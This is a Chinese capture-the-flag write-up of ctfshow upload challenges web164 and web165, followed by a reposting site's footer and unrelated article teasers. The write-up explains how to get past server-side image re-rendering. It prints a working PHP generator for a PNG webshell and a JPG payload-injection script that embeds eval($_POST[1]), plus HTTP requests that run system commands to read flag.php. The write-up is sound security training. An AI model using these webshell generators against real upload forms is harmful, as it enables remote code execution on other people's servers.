ctfshow-web入門-文件上傳(web164、web165)圖片二次渲染繞過

web164 和 web165 的利用點都是二次渲染,一個是 png,一個是 jpg

目錄

1、web164

2、web165


二次渲染:

網站服務器會對上傳的圖片進行二次處理,對文件內容進行替換更新,根據原有圖片生成一個新的圖片,這樣就會改變文件原有的一些內容,我們需要將一句話木馬插入到數據不會被改變的位置,確保一句話木馬不會受到二次渲染的影響。

1、web164

生成圖片馬:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./my.png');
?>
#<?=$_GET[0]($_POST[1]);?>

上傳圖片馬:

這道題我最開始弄的時候老是有問題,報錯:

Warning</b>:  system(): Cannot execute a blank command in <b>/var/www/html/upload/b62bc6b55a1f2b368380dc1fbea2e71b.png

說是沒有給 system 提供參數,我明明 post 傳了 1=ls。

有一個問題就是,當你在上傳圖片馬之后,點擊查看圖片:

這里默認的請求方式是 GET:

如果你去抓這個 get 請求的包,然后添加傳參是不行的。

(后面做了下一題,發現是可以在 burpsuite 里面修改請求方式的,都要使用 post 請求)

穩妥點的做法:

查看圖片后,使用 hackbar 添加參數:

get 里面新增:

&0=system

post:

1=ls

一定要先添加成上圖所示后,再使用 burpsuite 抓包重放

有時候在 mode 為 raw 下發包,也可看到回顯

有時候又不行了:

對比下這兩個請求包的差別

有回顯的:

POST /download.php?image=8b55fd4ed5b3ea99cdab4f296c58c31e.png&0=system HTTP/1.1
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Microsoft Edge";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: Windows
Upgrade-Insecure-Requests: 1
Origin: https://12e7667e-389f-45a8-ab1a-cfc3c0a4e938.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://12e7667e-389f-45a8-ab1a-cfc3c0a4e938.challenge.ctf.show/download.php?image=8b55fd4ed5b3ea99cdab4f296c58c31e.png
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q1=ls

無回顯的:

POST /download.php?image=db94064d6001c8ebbd832d00f278f83f.png&0=system HTTP/1.1
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Microsoft Edge";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://43c4f510-9863-431a-b391-24ee2c8482da.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q1=ls

終于讓我找到問題所在了:

沒有回顯

添加請求頭:

Content-Type: application/x-www-form-urlencoded

回顯正常?

讀取 flag:

1=tac flag.php

ctfshow{7ee33e2a-9fb7-48b3-a089-be283761f45e}

2、web165

使用腳本生成繞過二次渲染的 jpg 圖片馬:

<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = "<?=eval(\$_POST[1]);?>"; //注意$轉義if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>

其中 test.jpg 是一張正常的 jpg 圖片?

運行得到??payload_test.jpg ,上傳該圖片:

調用的時候又出問題了:

不傳一句話,直接執行命令,也不行:

看到網上一些師傅也說成功率很低,反正我是沒成功...

好吧,找師傅要到了適合這道題二次渲染的 jpg 圖片

一開始也沒有成功,后面去 B 站看了解法流程:

先將這個 jpg 圖片上傳,讓服務器對其進行一次二次渲染,我們下載經過二次渲染后的圖片,用渲染后的圖片通過腳本來插入我們的 payload。

先上傳原始的圖片:

將上傳成功的圖片下載:

左邊是原始的圖片,右邊新下載的經過渲染后的圖片(注意在此之前我們都還未使用過腳本)

對渲染后的圖片使用腳本插入一句話木馬:

上傳最后得到的這張圖片:

調用:

注意使用 post 請求

使用 burpsuite 抓包:

回顯成功

你也可以就抓查看圖片的包(是 get 方式),可以在 burpsuite 里切換成 post 請求:

切換過去 post 里面是沒有圖片路徑的,需要手動將下面的 post 參數 image 內容移過來:

讀取 flag.php

拿到 flag:ctfshow{ed42497e-5afd-4e1a-82cd-3dfa3426091d}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/43682.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/43682.shtml
英文地址,請注明出處:http://en.pswp.cn/web/43682.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【Linux】進程優先級 + 環境變量

前言 在了解進程狀態之后&#xff0c;本章我們將來學習一下進程優先級&#xff0c;還有環境變量等。。 目錄 1.進程優先級1.1 為什么要有優先級&#xff1f; 2.進程的其他概念2.1 競爭性與獨立性2.2 并行與并發2.3 進程間優先級的體現&#xff1a;2.3.1 O(1) 調度算法&#xf…

Apache Web安全分析與增強

Apache HTTP Server 概述 Apache HTTP Server(通常簡稱為Apache)是一個開源的Web服務器軟件,由Apache軟件基金會開發和維護。它是全球使用最廣泛的Web服務器之一,支持多種操作系統,包括Unix、Linux、Windows和Mac OS X。以下是Apache Web服務器的詳細概述,包括其功能特點…

數字高壓表0-30kv

最近在制作數字高壓表&#xff0c;自己DIY玩玩&#xff0c;有沒有朋友一起研究看看

SpringCloud--常用組件和服務中心

常用組件 Euroke和nacos 區別 負載均衡 負載均衡策略有哪些 自定義負載均衡策略

【Red Hat 4.6---詳細安裝Oracle 19c】---靜默方式安裝

&#x1f53b; 一、安裝前規劃 規劃項:(本環境) 描述:操作系統版本Red Hat Enterprise Linux Server release 4.6 (Santiago)主機名langtest數據庫版本 Oracle 19c IP規劃10.10.10.164服務器空間要求根據實際要求數據庫名/實例名orcl數據庫塊大小oracle建庫一般設置數據庫塊大…

物業系統自主研發接口測試框架

1、自主研發框架整體設計 1.1、什么是測試框架? 在了解什么是自動化測試框架之前&#xff0c;先了解一下什么叫框架?框架是整個或部分系統的可重用設計&#xff0c;表現為一組抽象構件及構件實例間交互的方法;另一種定義認為&#xff0c;框架是可被應用開發者定制的應用骨架…

Redis 主從復制,集群與高可用

雖然Redis可以實現單機的數據持久化&#xff0c;但無論是RDB也好或者AOF也好&#xff0c;都解決不了單點宕機問題&#xff0c;即一旦單臺 redis服務器本身出現系統故障、硬件故障等問題后&#xff0c;就會直接造成數據的丟失 此外,單機的性能也是有極限的,因此需要使用另外的技…

捷配生產筆記-細間距芯片的表面處理工藝:OSP與沉金工藝的重要性

在現代電子制造領域&#xff0c;隨著技術的進步&#xff0c;電子設備變得越來越小型化和高性能化。細間距芯片作為實現這一目標的關鍵組件&#xff0c;其制造工藝要求極為嚴格。在這些要求中&#xff0c;表面處理工藝尤為關鍵&#xff0c;因為它直接影響到芯片的焊接質量和長期…

江蘇云服務器適用于哪些場景?

云服務器主要是指一中基于云計算技術的虛擬化服務器&#xff0c;用戶能夠通過互聯網網絡進行遠程訪問和管理&#xff0c;與傳統的物理服務器相比較&#xff0c;云服務器更具有可擴展性與靈活性&#xff0c;所以云服務器受到越來越多的企業所使用&#xff0c;同時在各個領域中都…

實驗7 數據查詢(2)

一、實驗目的 學習SQL語言的定義、操縱功能熟悉通過SQL語言對數據庫進行查詢操作&#xff0c;包括單表查詢、多表查詢、嵌套查詢、集合查詢 二、實驗軟件 MySQL三、實驗內容和要求 給定四個關聯表&#xff0c;其定義和數據加載如下&#xff1a; 學生表 Student create tab…

Cesium中實現圖層組

圖層組 某天領導找我&#xff0c;說業務中可能存在多個影像服務為一個圖層組&#xff0c;并且需要同時加載和同時在圖層列表中上下移動的需求。 例如一些專題地圖&#xff0c;包含所有學校、醫院、公交站等圖層&#xff0c;而這些圖層都是單獨發布的。 在 Cesium 中確實存在…

前端與嵌入式開發通信之QWebChannel(Qt)

前端與嵌入式開發通信之QWebChannel 最近開發中需要用到和c開發的操作臺進行通信的的需求&#xff0c;就找到了這個技術&#xff0c;記錄一下 首先需要安裝導入 qwebchannel npm i qwebchannel import { QWebChannel } from "qwebchannel"; 初始化qwebchannel并封…

myeclipse開發ssm框架項目圖書管理系統 mysql數據庫web計算機畢業設計項目

摘 要 隨著計算機的廣泛應用&#xff0c;其逐步成為現代化的標志。圖書館的信息量也會越來越大&#xff0c;因此需要對圖書信息、借書信息、還書信息等進行管理&#xff0c;及時了解各個環節中信息的變更&#xff0c;要對因此而產生的單據進行及時的處理&#xff0c;為了提高高…

vue3 兩個組件之間傳值

Props 父組件可以通過 props 將數據傳遞給子組件。這是最常見的組件間通信方式 <!-- 父組件 --><template><ChildComponent :message"parentMessage" /></template><script>import ChildComponent from ./ChildComponent.vue;export…

Linux-shell編程入門基礎

文章目錄 前言Shell編程bash特性shell作用域變量環境變量$特殊變量$特殊狀態變量 $特殊符號(很重要)其他內置shell命令shell語法的子串截取統計 指令執行時間練習shell特殊擴展變量父子shell的理解內置和外置命令區別 數值計算雙括號(())運算letexprexpr模式匹配 bcawk中括號 s…

MySQL InnoDB事務隔離的幾種級別

MySQL InnoDB是一種支持事務的存儲引擎&#xff0c;提供了多種事務隔離級別&#xff0c;分別是&#xff1a;讀未提交&#xff08;READ UNCOMMITTED&#xff09;&#xff0c;讀已提交&#xff08;READ COMMITTED&#xff09;&#xff0c;可重復讀&#xff08;REPEATABLE READ&am…

數據結構(Java):Stack相關OJ習題

1、括號匹配問題 . - 力扣&#xff08;LeetCode&#xff09; 1.1 思路分析 根據棧的先進后出原則&#xff0c;我們可以這樣解決問題&#xff1a; 遍歷字符串&#xff0c;遇見左括號就將左括號push入棧&#xff1b;遇見右括號就pop出棧&#xff0c;將出棧的元素和該右括號比較…

最簡單的vue3組件之間傳值

localStorage 是 HTML5 引入的一個 Web Storage API 的一部分&#xff0c;它允許網頁在用戶的瀏覽器上存儲數據。localStorage 提供了一種持久化的本地存儲方案&#xff0c;數據不會因為瀏覽器關閉而丟失&#xff0c;除非用戶或腳本顯式地刪除它們。 localStorage 是一種非常實…

批量提取網頁表格內容至excel文件

問題背景 將網頁的表格內容&#xff08;5237個股票信息&#xff09;復制粘貼到excel文件中 網址&#xff1a;A股上市公司名單-A股上市公司名錄-A股上市公司大全-商業計劃書-可研報告-中商產業研究院數據庫-中商情報網 實現代碼 # 導入包 import pandas as pd import time# 創…

Android中為什么不直接activity調用到view,使用viewrootimpl去與底層溝通,而要追加一個phonewindow來管理呢?

在Android的架構設計中&#xff0c;Activity、PhoneWindow 和 ViewRootImpl 各自扮演著不同的角色&#xff0c;它們之間的協作是為了實現一個更加靈活、可擴展和易于管理的UI系統。不直接從Activity調用到View&#xff0c;而是引入PhoneWindow來管理&#xff0c;主要有以下幾個…